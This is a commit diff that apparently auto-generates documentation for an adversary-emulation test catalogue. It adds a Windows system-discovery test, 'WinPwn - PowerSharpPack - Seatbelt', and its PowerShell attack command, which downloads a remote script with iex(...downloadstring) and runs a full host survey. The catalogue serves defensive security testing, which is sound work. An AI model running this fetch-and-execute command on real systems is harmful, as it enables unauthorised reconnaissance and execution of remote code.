Generated docs from job=generate-docs branch=master [ci skip]

2022-05-12 23:54:23 +00:00
parent e1f3b35ce2
commit 9906df5fe8
6 changed files with 50 additions and 0 deletions
@@ -1036,6 +1036,7 @@ discovery,T1082,System Information Discovery,18,WinPwn - Morerecon,3278b2f6-f733
 discovery,T1082,System Information Discovery,19,WinPwn - RBCD-Check,dec6a0d8-bcaf-4c22-9d48-2aee59fb692b,powershell
 discovery,T1082,System Information Discovery,20,WinPwn - PowerSharpPack - Watson searching for missing windows patches,07b18a66-6304-47d2-bad0-ef421eb2e107,powershell
 discovery,T1082,System Information Discovery,21,WinPwn - PowerSharpPack - Sharpup checking common Privesc vectors,efb79454-1101-4224-a4d0-30c9c8b29ffc,powershell
+discovery,T1082,System Information Discovery,22,WinPwn - PowerSharpPack - Seatbelt,5c16ceb4-ba3a-43d7-b848-a13c1f216d95,powershell
 discovery,T1614.001,System Language Discovery,1,Discover System Language by Registry Query,631d4cf1-42c9-4209-8fe9-6bd4de9421be,command_prompt
 discovery,T1614.001,System Language Discovery,2,Discover System Language with chcp,d91473ca-944e-477a-b484-0e80217cd789,command_prompt
 discovery,T1016,System Network Configuration Discovery,1,System Network Configuration Discovery on Windows,970ab6a1-0157-4f3f-9a73-ec4166754b23,command_prompt
@@ -733,6 +733,7 @@ discovery,T1082,System Information Discovery,18,WinPwn - Morerecon,3278b2f6-f733
 discovery,T1082,System Information Discovery,19,WinPwn - RBCD-Check,dec6a0d8-bcaf-4c22-9d48-2aee59fb692b,powershell
 discovery,T1082,System Information Discovery,20,WinPwn - PowerSharpPack - Watson searching for missing windows patches,07b18a66-6304-47d2-bad0-ef421eb2e107,powershell
 discovery,T1082,System Information Discovery,21,WinPwn - PowerSharpPack - Sharpup checking common Privesc vectors,efb79454-1101-4224-a4d0-30c9c8b29ffc,powershell
+discovery,T1082,System Information Discovery,22,WinPwn - PowerSharpPack - Seatbelt,5c16ceb4-ba3a-43d7-b848-a13c1f216d95,powershell
 discovery,T1614.001,System Language Discovery,1,Discover System Language by Registry Query,631d4cf1-42c9-4209-8fe9-6bd4de9421be,command_prompt
 discovery,T1614.001,System Language Discovery,2,Discover System Language with chcp,d91473ca-944e-477a-b484-0e80217cd789,command_prompt
 discovery,T1016,System Network Configuration Discovery,1,System Network Configuration Discovery on Windows,970ab6a1-0157-4f3f-9a73-ec4166754b23,command_prompt
@@ -1572,6 +1572,7 @@
  - Atomic Test #19: WinPwn - RBCD-Check [windows]
  - Atomic Test #20: WinPwn - PowerSharpPack - Watson searching for missing windows patches [windows]
  - Atomic Test #21: WinPwn - PowerSharpPack - Sharpup checking common Privesc vectors [windows]
+  - Atomic Test #22: WinPwn - PowerSharpPack - Seatbelt [windows]
 - [T1614.001 System Language Discovery](../../T1614.001/T1614.001.md)
  - Atomic Test #1: Discover System Language by Registry Query [windows]
  - Atomic Test #2: Discover System Language with chcp [windows]
@@ -1146,6 +1146,7 @@
  - Atomic Test #19: WinPwn - RBCD-Check [windows]
  - Atomic Test #20: WinPwn - PowerSharpPack - Watson searching for missing windows patches [windows]
  - Atomic Test #21: WinPwn - PowerSharpPack - Sharpup checking common Privesc vectors [windows]
+  - Atomic Test #22: WinPwn - PowerSharpPack - Seatbelt [windows]
 - [T1614.001 System Language Discovery](../../T1614.001/T1614.001.md)
  - Atomic Test #1: Discover System Language by Registry Query [windows]
  - Atomic Test #2: Discover System Language with chcp [windows]
@@ -62991,6 +62991,19 @@ discovery:
          iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/PowerSharpPack/master/PowerSharpBinaries/Invoke-SharpUp.ps1')
          Invoke-SharpUp -command "audit"
        name: powershell
+    - name: WinPwn - PowerSharpPack - Seatbelt
+      auto_generated_guid: 5c16ceb4-ba3a-43d7-b848-a13c1f216d95
+      description: |-
+        PowerSharpPack - Seatbelt technique via function of WinPwn.
+
+        [Seatbelt](https://github.com/GhostPack/Seatbelt) is a C# project that performs a number of security oriented host-survey "safety checks" relevant from both offensive and defensive security perspectives.
+      supported_platforms:
+      - windows
+      executor:
+        command: |-
+          iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/PowerSharpPack/master/PowerSharpBinaries/Invoke-Seatbelt.ps1')
+          Invoke-Seatbelt -Command "-group=all"; pause
+        name: powershell
  T1614.001:
    technique:
      object_marking_refs:
@@ -50,6 +50,8 @@ Infrastructure as a Service (IaaS) cloud providers such as AWS, GCP, and Azure a

 - [Atomic Test #21 - WinPwn - PowerSharpPack - Sharpup checking common Privesc vectors](#atomic-test-21---winpwn---powersharppack---sharpup-checking-common-privesc-vectors)

+- [Atomic Test #22 - WinPwn - PowerSharpPack - Seatbelt](#atomic-test-22---winpwn---powersharppack---seatbelt)
+

 <br/>

@@ -696,4 +698,35 @@ Invoke-SharpUp -command "audit"



+<br/>
+<br/>
+
+## Atomic Test #22 - WinPwn - PowerSharpPack - Seatbelt
+PowerSharpPack - Seatbelt technique via function of WinPwn.
+
+[Seatbelt](https://github.com/GhostPack/Seatbelt) is a C# project that performs a number of security oriented host-survey "safety checks" relevant from both offensive and defensive security perspectives.
+
+**Supported Platforms:** Windows
+
+
+**auto_generated_guid:** 5c16ceb4-ba3a-43d7-b848-a13c1f216d95
+
+
+
+
+
+
+#### Attack Commands: Run with `powershell`! 
+
+
+```powershell
+iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/PowerSharpPack/master/PowerSharpBinaries/Invoke-Seatbelt.ps1')
+Invoke-Seatbelt -Command "-group=all"; pause
+```
+
+
+
+
+
+
 <br/>